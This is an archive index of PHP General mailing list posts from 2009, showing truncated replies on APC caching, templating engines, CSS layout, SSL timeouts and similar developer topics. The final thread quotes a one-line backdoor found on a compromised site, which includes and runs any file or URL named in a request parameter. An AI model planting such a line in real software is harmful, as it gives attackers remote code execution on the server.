Re: [PHP] Carriage Returns

2009-11-08 Thread Nathan Rixham
Dan Shirah wrote: My guess is that you are getting an SQL error returned to you. What does that say? Is it talking about a broken SQL statement? Also, an example of the actual insert statement with example data would be helpful. I'm getting the generic error message: Prepare fails (E

[PHP] Re: shell_exec fails to compile java class?

2009-11-04 Thread Nathan Rixham
but permissions and the scope / permissions of the account php runs under may come in to play? nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Re: What PHP version are you using?

2009-11-04 Thread Nathan Rixham
Israel Ekpo wrote: Hi Guys, I just want to conduct a quick survey to find out what version of PHP people are using in their production environments. I have a PHP extension for Solr that I have set the minimum required version as 5.2.11. http://pecl.php.net/package/solr/ However, most of the

Re: [PHP] Two Parser Passes

2009-11-04 Thread Nathan Rixham
Daniel Kolbo wrote: Steve wrote: Daniel Kolbo wrote: Hello, Is it possible to get a list (array) of classes not found in a script before the fatal error exits the parser. I realize that PHP parses the script twice. It would be nice at the end of the first parsing pass to check to see which

[PHP] Re: Classes and Functions

2009-11-04 Thread Nathan Rixham
Daniel Kolbo wrote: Hello, Is there a way to see what objects and functions a script loaded/required/used? I could recursively loop through the globals, but if objects were unset, then i may miss some. I could make a 'tracking' object and every time i load/include a file (which contains a

[PHP] Re: Apache file order

2009-11-04 Thread Nathan Rixham
Skip Evans wrote: Hey all, I modified an Apache config file to list the HTML file first, after the PHP file, it still pulls up the PHP file first. Is there another setting in Apache I should be looking for? I need it to check for the HTML file first. Thanks, Skip IfModule dir_module

[PHP] Re: PHP String convention

2009-11-04 Thread Nathan Rixham
Nick Cooper wrote: Hi, I was just wondering what the difference/advantage of these two methods of writing a string are: 1) $string = foo{$bar}; 2) $string = 'foo'.$bar; 1) breaks PHPUnit when used in classes (need to bug report that) 2) [concatenation] is faster (but you wouldn't notice)

Re: [PHP] It's not behaving. Error reporting, that is

2009-11-04 Thread Nathan Rixham
Ashley Sheridan wrote: On Wed, 2009-11-04 at 08:52 -0600, Philip Thompson wrote: On Nov 3, 2009, at 11:24 AM, Kim Madsen wrote: Hi Philip Try to post a link to a page, that prints phpinfo() -- Kind regards Kim Emax Philip Thompson wrote on 2009-11-03 17:11: Hi all. This seems like a

[PHP] Re: Using remote include config file and class in a local file

2009-11-04 Thread Nathan Rixham
Shawn McKenzie wrote: Anton Heuschen wrote: Question is wrt to including a config file on an external server in a local include Lets say that on 127.0.0.1 I have test.php with include http://200.200.1.1/Folder/Config.php $obj = new RemoteClass() do stuff and on server 200.200.1.1 I have

Re: [PHP] Custom function for inserting values into MySQL

2009-11-04 Thread Nathan Rixham
Shawn McKenzie wrote: Allen McCabe wrote: Do you see any major hangups or screwups on first glance? And is my fear of trying this out on my database unfounded? Does this even seem that useful? in all honesty.. loads of screwups - don't try it out on your database ultimately if it isn't

Re: [PHP] Need unrounded precision

2009-11-04 Thread Nathan Rixham
Matthew McKay wrote: Kim Madsen wrote: Hello Andre Dubuc wrote on 2010-01-02 02:20: Hi, I need to extract the first digit after the decimal point from a number such as 28.56018, which should be '5'. Since no one came up with the simple solution: $num = 28.56018; ereg(^[0-9]+\.([0-9]){1},

Re: [PHP] Spry, XML, PHP and XSLT Hell

2009-10-05 Thread Nathan Nobbe
head is about to explode and I can't find any answers, If there are Spry/XML folk here i'll spill the beans about my issue. ive not used spry, but have the rest of the lot.., hell, i think we can give it a crack..; lay it on us brother ;) -nathan

Re: [PHP] APC - Upload progress problem. apc

2009-09-15 Thread Nathan Nobbe
for all your suggestions, sorry this ends up being such a stupid conclusion. good work pushing through it phred! it was a pain in the ass when i implemented it a few weeks back as well, so lets just assume thats how it is for everyone ;) -nathan

Re: [PHP] APC - Upload progress problem. apc

2009-09-14 Thread Nathan Nobbe
once youve got it running. -nathan

Re: [PHP] APC - Upload progress problem. apc

2009-09-14 Thread Nathan Nobbe
to start tracking the progress. you can use the stock apc.php script from the distro and upload a large file; this will give you time to check in apc.php. -nathan

Re: [PHP] APC - Upload progress problem. apc

2009-09-11 Thread Nathan Nobbe
no idea how much longer youve got to wait. plus progress bars look more professional, imo. anyways, tho, yeah, spinners are better for most cases i would say. -nathan

Re: [PHP] PHP/Ajax Framework - Call for Developers Testers

2009-08-20 Thread Nathan Nobbe
On Wed, Aug 19, 2009 at 8:57 PM, Raymond Irving xwis...@yahoo.com wrote: Hi Nathan, Many thanks for the feedback. There many other useful features built into the API but my favorite is the embedded feature. You can see a live example here: http://raxanpdi.com/shoutbox-embedded-example.html

Re: [PHP] Really quick try/catch question

2009-08-18 Thread Nathan Nobbe
() { // This does some stuff to exit the script gracefully } try { $xmlobject = new SimpleXMLElement($xml); } catch($e) { domyfunction($e); } you need to add the name of the class you want to capture, or an ancestor thereof, try { .. } catch(Exception $e) { .. } -nathan

Re: [PHP] Re: Re: Re: Design Patterns

2009-08-13 Thread Nathan Nobbe
++ coming out after having lived through years of C. -nathan

Re: [PHP] Re: Re: Re: Design Patterns

2009-08-13 Thread Nathan Nobbe
start thinking in optimization realy. at least some bewareness it will not be endless ralph_def...@yahoo.de i for one have decided to start off my next server platform for the web, entirely in assembly ;) -nathan

Re: [PHP] APC optimization in CLI

2009-08-10 Thread Nathan Nobbe
=0.1alpha1 -nathan

Re: [PHP] Asterisk anyone?

2009-07-30 Thread Nathan Nobbe
+csv+mysql+import -nathan

Re: [PHP] Does something like this exist?

2009-06-29 Thread Nathan Nobbe
://pecl.php.net/package/inclued * The relationships between defined classes (eg A extends B) * What other classes are utilized by which classes (eg, instantiation) doxygen - i like it way more than php documentor or w/e its called.. -nathan

Re: [PHP] Why does simpleXML give me nested objects for blank tags?

2009-06-22 Thread Nathan Nobbe
else which can examine objects. -nathan

Re: [PHP] Problems with APC, possible cache-corruption?

2009-06-22 Thread Nathan Nobbe
On Sun, Jun 21, 2009 at 6:17 PM, James McLean james.mcl...@gmail.comwrote: On Mon, Jun 22, 2009 at 9:40 AM, Nathan Nobbequickshif...@gmail.com wrote: On Sun, Jun 21, 2009 at 5:56 PM, James McLean james.mcl...@gmail.com wrote: did you take a look at the size of the cache you created

Re: [PHP] share code between sites

2009-06-21 Thread Nathan Nobbe
in all the various sites to get access to it. thats one way to do it. -nathan

Re: [PHP] Passing Values between C App and PHP

2009-06-21 Thread Nathan Nobbe
of that nature. -nathan

Re: [PHP] Passing Values between C App and PHP

2009-06-21 Thread Nathan Nobbe
. then you will have to make the C app accept socket connections; or maybe try unix signals handlers in the C app w/ shared memory betwen both processes; maybe there are easier ways to do it.. -nathan

Re: [PHP] Problems with APC, possible cache-corruption?

2009-06-21 Thread Nathan Nobbe
not yet used it so im not sure how much i could help there (sort of sounds like youre shooting for output caching the way you describe things above). maybe you could dump out your ini settings for apc and share them here? -nathan

[PHP] Re: Anyone know whats the best way to learn PHP

2009-06-01 Thread Nathan Rixham
Muhammad Hassan Samee wrote: Hi Anyone know whats the best way to learn PHP? Every time I open an php book or look the codes online, my mind goes oh man, So many stuffs to learn and gets frustrated before i even start but on the other hand, I don't know why some how the brain keep on nagging me

Re: [PHP] Autoloading with namespaces in 5.3.0

2009-06-01 Thread Nathan Nobbe
before it was just the classname. your autoload logic should be equipped to handle different classes w/ the same name, in different namespaces. -nathan

Re: [PHP] [php] php_network_getaddresses: getaddrinfo failed: No such host is known

2009-05-28 Thread Nathan Nobbe
so put the port after the hostname ;) -nathan

Re: [PHP] [php] php_network_getaddresses: getaddrinfo failed: No such host is known

2009-05-28 Thread Nathan Nobbe
is '^]'. SSH-2.0-OpenSSH_4.5 again, you may want to consult the docs on your system to hunt down the issue.. -nathan

Re: [PHP] class problem :(

2009-05-28 Thread Nathan Nobbe
. -nathan

Re: [PHP] class problem :(

2009-05-28 Thread Nathan Nobbe
. -nathan

Re: [PHP] templating engine options

2009-05-26 Thread Nathan Rixham
Andrea Giammarchi wrote: Finally somebody mentioned XSL Transformations. Time is relative because as you need time to learn an API to produce quickly only after a while, thanks to knowledge and confidence, XSL is the same with the advantage that you transform a data structure, rather than

[PHP] Re: Background Process

2009-05-26 Thread Nathan Rixham
shahrzad khorrami wrote: Hi, I have two php scripts, first one must pass arguments to second(the php script that will take more time to process for example inserting 100 records to db, data come from first script). I search around web and find below function: function

Re: [PHP] templating engine options

2009-05-26 Thread Nathan Rixham
Tom Worster wrote: thanks for taking the trouble to write your requirements. it made interesting reading. and thanks for taking the time to read it! it was a big one. i've questions on three points below... On 5/25/09 6:44 PM, Nathan Rixham nrix...@gmail.com wrote: XSL Templates are near

Re: [PHP] templating engine options

2009-05-26 Thread Nathan Rixham
Tom Worster wrote: On 5/25/09 8:48 PM, Nathan Rixham nrix...@gmail.com wrote: Sancar Saran wrote: ?php $content = 'No Comments'; if(isset($comments) and is_array($comments) and count($comments) 0 ) { $content = ''; foreach( $comments as $index = $comment ) : $content. = a href='. $comment

Re: [PHP] templating engine options

2009-05-25 Thread Nathan Rixham
Robert Cummings wrote: On Mon, 2009-05-25 at 15:04 +0100, Stuart wrote: 2009/5/25 Robert Cummings rob...@interjinn.com: Have I done something to annoy you lately? You seem to be directing a lot of hostility my way recently. Just wondering. I'm sorry you're taking it personally... you may want

Re: [PHP] templating engine options

2009-05-25 Thread Nathan Rixham
Tom Worster wrote: On 5/25/09 10:04 AM, Stuart stut...@gmail.com wrote: Quick question, how would you implement the following using your XML-based template syntax... div class=option ?php if (!empty($option_class)) { echo $option_class; } ? ... /div It's worth noting that I'm simply

Re: [PHP] templating engine options

2009-05-25 Thread Nathan Rixham
Stuart wrote: 2009/5/25 Robert Cummings rob...@interjinn.com: I continued the discussion with Nathan. I too have had an off-list discussion with Nathan on this topic, and a productive one at that. which would probably be a good time for me to step back in; having had a nice little inside

Re: [PHP] templating engine options

2009-05-25 Thread Nathan Rixham
Sancar Saran wrote: ?php $content = 'No Comments'; if(isset($comments) and is_array($comments) and count($comments) 0 ) { $content = ''; foreach( $comments as $index = $comment ) : $content. = a href='. $comment-link.'.$comment-title./a; endforeach; } ? h2Comments/h2 div

Re: [PHP] conditional classes

2009-05-24 Thread Nathan Rixham
kranthi wrote: thanks for the comments, what i m planning to do is function _autoload($class) { if($class == 'Database') { if(class_exis('PDO') { include_once('Database_PDO.php'); } else { include_once('Database.php'); } } where in Database_PDO.php contains class Database

Re: [PHP] General Web Development Editor/IDE

2009-05-24 Thread Nathan Rixham
Lester Caine wrote: Casey wrote: Hi list, I'm looking for a nice, user (i.e. me) friendly general-purpose IDE, where most of my work will be done in PHP. I'm considering using Dreamweaver CS4 as my IDE, where I will disable most of the WYSIWYG elements and use all of the other features that I

[PHP] php dev environment

2009-05-24 Thread Nathan Rixham
! regards, nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] help : getting float max

2009-05-24 Thread Nathan Rixham
Afternoon all, This is a quick survey, think it would be useful to have the values of MAX_FLOAT for each platform, and indeed see if it does differ. to do this can you please run the following code (bc* required) and reply back with the output (and your platform / php version) code: ?php

Re: [PHP] Container or Calling Class

2009-05-24 Thread Nathan Rixham
Stuart wrote: 2009/5/24 phphelp -- kbk phph...@comcast.net: If so, can the bar_handler-bar_toast() function call a function in the container class (foo_handler)? Parent is used in some OOP languages for this type of hierarchy, but not PHP. I have fooled around with the scope resolution

Re: [PHP] templating engine options

2009-05-24 Thread Nathan Rixham
Stuart wrote: 2009/5/24 Nathan Rixham nrix...@gmail.com: LinuxManMikeC wrote: On Sun, May 24, 2009 at 11:09 AM, tedd tedd.sperl...@gmail.com wrote: At 12:01 AM +0100 5/24/09, Nathan Rixham wrote: LinuxManMikeC wrote: I was recently researching template engines for a small in-house project

Re: [PHP] php dev environment

2009-05-24 Thread Nathan Rixham
Eric Butera wrote: On Sun, May 24, 2009 at 5:32 AM, Nathan Rixham nrix...@gmail.com wrote: Hi All, A recent post just reminded me of something I did a while ago that may be of use to many of you (and its sitting doing nothing), it's a kind of how to for getting a full development environment

Re: [PHP] templating engine options

2009-05-24 Thread Nathan Rixham
tedd wrote: At 9:43 PM +0100 5/24/09, Nathan Rixham wrote: and now I'm questioning myself - not on the client scenario based decisions - but on my own personal projects and things only I work on.. why do I use a template engine? habit? some old logical decision I made based on abstraction

Re: [PHP] templating engine options

2009-05-24 Thread Nathan Rixham
tedd wrote: At 1:54 PM -0600 5/24/09, LinuxManMikeC wrote: You're missing the point just because he threw in some old HTML styling attributes. The main issue is the overhead of added parsing layers to find where content goes in the HTML. I may be missing the point, but I know where content

Re: [PHP] Container or Calling Class

2009-05-24 Thread Nathan Rixham
Eddie Drapkin wrote: You can call methods from a classes's parents like so class foo { protected method bar() { echo in foo!; } } class foobar extends foo { public function bar() { parent::bar(); } } $fb = new foobar(); $fb-bar(); will output in foo!; wrong way round.. he's asking for:

Re: [PHP] Fractions

2009-05-24 Thread Nathan Rixham
Mark Kelly wrote: Hi. On Sunday 24 May 2009, Ron Piggott wrote: Is there a way to remove the trailing '0'? $width = number_format($width,2); Also is there a way to have the original fraction display (1/4), as well as have provision for 1/8 and 3/8 and 1/2, etc. display? On this one I

[PHP] Re: Comparing strings (revisited)

2009-05-24 Thread Nathan Rixham
Clancy wrote: For some time I have been working on a text based database, in which each entry contains one or more lines of data, with the various fields delimited by semicolons, e.g. A;b;20GM;Restaurant;090508 n;;;Arintji;; a;Federation Square;;; p;9663 9900;;;9663

Re: [PHP] Re: Rogue 'if - elseif' code

2009-05-23 Thread Nathan Rixham
LinuxManMikeC wrote: On Fri, May 22, 2009 at 2:50 PM, Nathan Rixham nrix...@gmail.com wrote: Andre Dubuc wrote: Hi, I'm having problems with a chunk of 'rogue' code that does not perform as expected (it does not pass the expected date, but an empty value). Most of the time, it works - so I'm

[PHP] templating engine options

2009-05-23 Thread Nathan Rixham
of a framework, (or if it is easily extracted with no framework dependencies), and not xslt (love xslt, but not many designers do!). many regards, Nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] templating engine options

2009-05-23 Thread Nathan Rixham
Kevin Waterson wrote: On Sat, 2009-05-23 at 23:21 +0100, Nathan Rixham wrote: Hi All, Just a quick one, can anybody recommend any decent templating engines other than smarty. I've got no problem with smarty and it does the job - but if there is something newer and lighter out

[PHP] Re: Rogue 'if - elseif' code

2009-05-22 Thread Nathan Rixham
Andre Dubuc wrote: Hi, I'm having problems with a chunk of 'rogue' code that does not perform as expected (it does not pass the expected date, but an empty value). Most of the time, it works - so I'm wondering whether it might be a browser issue. (The latest failure occurred with Firfeox 3.0

[PHP] Re: PHP5 based Web-Chat?

2009-05-21 Thread Nathan Rixham
, not of a very strong opinion, nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Re: MYSQL 5 auto increment not working

2009-05-21 Thread Nathan Rixham
Leidago !Noabeb wrote: Hi All I know this is not strictly a PHP question, but i have a problem whenever i insert a record using PHP. Basically the auto increment field does not work at all. Here's the structure of the table that i'm using: CREATE TABLE `children` ( `cid` int(4) NOT NULL

[PHP] Re: PHP5 based Web-Chat?

2009-05-21 Thread Nathan Rixham
Michelle Konzack wrote: Hello Nathan, Am 2009-05-21 13:44:38, schrieb Nathan Rixham: Nothing :D grmpf - anything php based would involve polling which will kill any server when trying to create a realtime chat environment (1 request per second per chatter + 1 for each message send

[PHP] Re: Azure SDK for PHP

2009-05-21 Thread Nathan Rixham
haliphax wrote: Microsoft's Azure cloud computing framework has now been exposed to PHP. I haven't tested any of the features myself, but it seems like a pretty interesting (and leverage-able) concept to work with... figured I'd pass the word along. http://phpazure.codeplex.com/ cheers for

[PHP] Re: PHP class question

2009-05-21 Thread Nathan Rixham
you give some specifics. (like the source of your classes and the framework class you need to extend) regards, nathan incidentally, I play inheritance vs composition as game with my 4 year old son, and he's really good - the untainted mind of a child can easily solve things us older types

Re: [PHP] table-less layouts; Ideas welcome

2009-05-21 Thread Nathan Rixham
Benjamin Hawkes-Lewis wrote: On 21/5/09 09:02, Jim Lucas wrote: I have been toying with the idea of doing a table-less layouts involving tabular data, calendars, etc... [snip] But, not knowing how the various types of accessibility applications work, I am guessing that the layout to an

Re: [PHP] Re: PHP class question

2009-05-21 Thread Nathan Rixham
Shawn McKenzie wrote: Shawn McKenzie wrote: Peter van der Does wrote: On Thu, 21 May 2009 14:08:11 -0500 Shawn McKenzie nos...@mckenzies.net wrote: This doesn't make sense. You say class A needs to be extended with another class, however what you show below is class A extending

Re: [PHP] Re: Parsing of forms

2009-05-20 Thread Nathan Rixham
Daniele Grillenzoni wrote: On 20/05/2009 2.45, Nathan Rixham wrote: Daniele Grillenzoni wrote: On 19/05/2009 18.09, Andrew Ballard wrote: On Tue, May 19, 2009 at 10:11 AM, Ford, Mikem.f...@leedsmet.ac.uk wrote: On 19 May 2009 14:37, Daniele Grillenzoni advised: My complaint is this: a I

[PHP] Re: Accepting Credit Card Payments

2009-05-20 Thread Nathan Rixham
Gary wrote: Sorry, the first post were put in the wrong place... Not sure this is a direct PHP question, however I know I will get some answers here. I have a customer that I am bidding a small project for. They want to be able to accept credit card payments for enrollment into a class.

[PHP] Re: Accepting Credit Card Payments

2009-05-20 Thread Nathan Rixham
Nathan Rixham wrote: 4: all of that is unless you go paypal, a simple paypal buynow button would be a piece of cake and just the ticket also as mentioned google checkout - or you could go with e-junkie.com who offer a cart with either paypal or google checkout and its a nice robust solution

Re: [PHP] CSS tables

2009-05-19 Thread Nathan Rixham
I just wanted to run this past you guys for thoughts and opinions or even just to get brains ticking, it's all web development related and touched on throughout this thread. At the core of this we have a single problem, we create websites and web based applications, which we want to be

Re: [PHP] CSS tables

2009-05-19 Thread Nathan Rixham
PJ wrote: Nathan Rixham wrote: lol Glad /snip as they say did you ever get any help explaining css? just in case here's the ultra basics you have selectors and declarations selectors can be: .classname (a class, to be applied to many objects) #someid (a single object) p (redefine

Re: [PHP] CSS tables

2009-05-19 Thread Nathan Rixham
Shawn McKenzie wrote: Nathan Rixham wrote: I just wanted to run this past you guys for thoughts and opinions or even just to get brains ticking, it's all web development related and touched on throughout this thread. At the core of this we have a single problem, we create websites and web

Re: [PHP] CSS tables

2009-05-19 Thread Nathan Rixham
Shawn McKenzie wrote: Nathan Rixham wrote: Shawn McKenzie wrote: Nathan Rixham wrote: I just wanted to run this past you guys for thoughts and opinions or even just to get brains ticking, it's all web development related and touched on throughout this thread. At the core of this we have

Re: [PHP] CSS tables

2009-05-19 Thread Nathan Rixham
Shawn McKenzie wrote: Nathan Rixham wrote: Java anyone? eh? how do you get java from that? . user requests content sub-client required and application location are sent to users client. sub-client is launched within users client sub-client loads required application application connects

Re: [PHP] Posting values to a URL

2009-05-19 Thread Nathan Rixham
dele454 wrote: hi, I am working on integrating a credit payment service from setcom. on completion of transaction setcom sends bunch of post variables that my script has to send back to setcom to get the details of the transaction as an xml file. I am using the pecl_http

Re: [PHP] Re: Parsing of forms

2009-05-19 Thread Nathan Rixham
Daniele Grillenzoni wrote: On 19/05/2009 18.09, Andrew Ballard wrote: On Tue, May 19, 2009 at 10:11 AM, Ford, Mikem.f...@leedsmet.ac.uk wrote: On 19 May 2009 14:37, Daniele Grillenzoni advised: My complaint is this: a I can have a select multiple with a normal name, which is allowed by

Re: [PHP] CSS tables

2009-05-18 Thread Nathan Rixham
tedd wrote: At 4:05 AM +0100 5/18/09, Nathan Rixham wrote: Paul M Foster wrote: And by the way, this attitude of My code is fine; your browser sucks; upgrade can be the worst kind of arrogance, and people react to it exactly as though it were arrogance. There used to be the same kind

Re: [PHP] CSS tables

2009-05-18 Thread Nathan Rixham
tedd wrote: At 8:52 PM +0100 5/17/09, Nathan Rixham wrote: semantics already are the next big thing and have been for a year or three. google aquired the leading semantic analysis software many years ago and have been using it ever since, likewise with yahoo and all the majors. further we've

Re: [PHP] CSS tables

2009-05-18 Thread Nathan Rixham
tedd wrote: At 5:14 PM +0100 5/18/09, Nathan Rixham wrote: -- computing ... .. . hows the childhood memories? I had a childhood? Cheers, tedd not sure? check the photo album - that's what I do - then look on like a 3rd person -- PHP General Mailing List (http://www.php.net

Re: [PHP] CSS tables

2009-05-17 Thread Nathan Rixham
Ashley Sheridan wrote: On Sat, 2009-05-16 at 09:15 -0400, Robert Cummings wrote: On Sat, 2009-05-16 at 10:48 +0100, Ashley Sheridan wrote: On Sat, 2009-05-16 at 02:25 -0400, Paul M Foster wrote: On Fri, May 15, 2009 at 01:25:42PM -0400, PJ wrote: I know of no better place to ask. This may

Re: [PHP] CSS tables

2009-05-17 Thread Nathan Rixham
tedd wrote: At 11:28 PM +0100 5/15/09, Nathan Rixham wrote: tedd wrote: However, there are occasions such as in a calendar where not using a table would be more than difficult. I haven't received a decree yet as to IF that would be considered column data or not. I'm gonna differ on this one

Re: [PHP] CSS tables

2009-05-17 Thread Nathan Rixham
tedd wrote: At 10:48 AM +0100 5/16/09, Ashley Sheridan wrote: Trust me, semantics are gonna be the next big thing, Semantics? What do you mean by that? And therein lies the problem -- what means something to me, may not to you. For example, if I make my header div id=header (or whatever)

Re: [PHP] CSS tables

2009-05-17 Thread Nathan Rixham
tedd wrote: At 7:48 PM -0400 5/16/09, Stephen wrote: PJ wrote: I know of no better place to ask. This may not be strictly a PHP issue, but... I am busting my hump trying to format rather large input pages with CSS and trying to avoid tables; but it looks to me like I am wasting my time as

Re: [PHP] CSS tables

2009-05-17 Thread Nathan Rixham
Paul M Foster wrote: On Sun, May 17, 2009 at 08:40:33PM +0100, Nathan Rixham wrote: tedd wrote: At 11:28 PM +0100 5/15/09, Nathan Rixham wrote: tedd wrote: However, there are occasions such as in a calendar where not using a table would be more than difficult. I haven't received a decree

Re: [PHP] CSS tables

2009-05-17 Thread Nathan Rixham
Paul M Foster wrote: On Sun, May 17, 2009 at 11:20:19PM +0100, Nathan Rixham wrote: Paul M Foster wrote: On Sun, May 17, 2009 at 08:40:33PM +0100, Nathan Rixham wrote: tedd wrote: At 11:28 PM +0100 5/15/09, Nathan Rixham wrote: tedd wrote: However, there are occasions

Re: [PHP] CSS tables

2009-05-15 Thread Nathan Rixham
tedd wrote: At 2:06 PM -0400 5/15/09, Tom Worster wrote: for one thing, a table is a great way of representing relations (http://mathworld.wolfram.com/Relation.html). data tables are the canonical example but very often a form's structure is a relation, e.g. between labels and input fields,

[PHP] Re: read the last line in a file?

2009-05-15 Thread Nathan Rixham
Tom Worster wrote: imagine writing a script to run as a daemon reading data off the bottom of a log file that gets updated every few minutes and processing each new log line as they arrive. i could exec(tail $logfile, $lines, $status) every now and then. or poll the file mtime and run exec(tail

Re: [PHP]Cannot output the same data from text file in PHP

2009-05-14 Thread Nathan Rixham
as far as i know you just send an email to: php-general-unsubscr...@lists.php.net and then reply to the confirmation - its a standard mailing list which you subscribed to at some point, no profiles or such like. Mike Roberts wrote: Is there a moderator or some responsible party who is in

[PHP] Re: suggestion required

2009-05-14 Thread Nathan Rixham
really come up short you can look at using alchemy to embed some C processing code in there, it really speeds up the process of working with huge ByteArrays as the c code is preoptimised and runs much faster. Many Regards, Nathan -- PHP General Mailing List (http://www.php.net

Re: [PHP] Software to read/write Excel to CD?

2009-05-14 Thread Nathan Rixham
Paul M Foster wrote: On Thu, May 14, 2009 at 03:22:12PM -0500, Skip Evans wrote: Hey all, I'm inheriting a project that was unsuccessfully off-shored and is now in such bad shape (I've seen the code. It's awful) that they are firing the off-shore company and starting over. One of the things

[PHP] Re: php ssl connection timeout issue

2009-05-14 Thread Nathan Rixham
Jerry Zhao wrote: Hi, I am having trouble connecting to https sites using php's builtin ssl functions. I tried: file_get_contents('https://securesite') fsockopen('ssl://securesite', 443, $errno, $errstr,20) and same errors every time: SSL: connection timeout Failed to enable crypto Call to

[PHP] Re: php ssl connection timeout issue

2009-05-14 Thread Nathan Rixham
Jerry Zhao wrote: I tried different combination of ssl clients and servers, it all points to problems on the client side of my new php build. The same code worked on an older php build. checked the output of print_r( stream_get_wrappers() );? -- PHP General Mailing List (http://www.php.net/)

[PHP] Re: php ssl connection timeout issue

2009-05-14 Thread Nathan Rixham
Jerry Zhao wrote: On Thu, May 14, 2009 at 5:05 PM, Nathan Rixham nrix...@gmail.com wrote: Jerry Zhao wrote: I tried different combination of ssl clients and servers, it all points to problems on the client side of my new php build. The same code worked on an older php build. checked

Re: [PHP] handling chunked input from php://stdin

2009-05-13 Thread Nathan Rixham
Shawn McKenzie wrote: whisperstream wrote: I have a server running that receives xml formatted events from other services I have no control over. For certain events the transfer-encoding is chunked. I was just doing $input = file_get_contents('php://stdin'); and this works well until there

[PHP] Re: [PHP ADVANCE] tcp CLIENT server connection and authentication

2009-05-13 Thread Nathan Rixham
Andrew Williams wrote: Hi All, please, I need to connect to IP via a specific port en validate my user name and password to get data. Port : XXX7X Andrew, You're going to have some real fun with this one making the tcp connection is the least of your worries, sounds very much like a raw

[PHP] Re: [PHP ADVANCE] tcp CLIENT server connection and authentication

2009-05-13 Thread Nathan Rixham
, 2009 at 12:22 PM, Nathan Rixham nrix...@gmail.com wrote: Andrew Williams wrote: Hi All, please, I need to connect to IP via a specific port en validate my user name and password to get data. Port : XXX7X Andrew, You're going to have some real fun with this one making the tcp connection

Re: [PHP] SMS gateway

2009-05-13 Thread Nathan Rixham
Daniel Brown wrote: On Wed, May 13, 2009 at 10:00, Manoj Singh manojsingh2...@gmail.com wrote: Hi All, I need to create the SMS functionality in PHP. Do you have any idea of Open Source SMS gateway which i can use? http://google.com/search?q=open+source+sms+gateway If you have any

[PHP] Re: Adding corners to image

2009-05-13 Thread Nathan Rixham
דניאל דנון wrote: I am currently searching for the most efficient way to add corners to existing images. Not just round corners - pre-made colorful with pattern images. So first thing I'm thinking about what I'll need, and I think that for each corner I'll need: - Corner pattern -

Re: [PHP] Sending SMS through website

2009-05-13 Thread Nathan Rixham
Andrew Ballard wrote: On Wed, May 13, 2009 at 1:55 PM, Per Jessen p...@computer.org wrote: kyle.smith wrote: Most carriers have email-to-sms bridges. For example, I use ATT Wireless and you can text me by sending an email to myphonenum...@txt.att.net. Do you end up paying for that then - or

[PHP] Re: Nasty hacker spammer script

2009-05-12 Thread Nathan Rixham
The Doctor wrote: Has anyone seen this before? if (trim($_GET['x'])!=''){...@include($_GET['x']);exit();} lol - that's really bad if you're going to waste your time exploiting peoples stuff at least: make it so it'll actually run something don't include your personal email in the script

<    1   2   3   4   5   6   7   8   9   10   >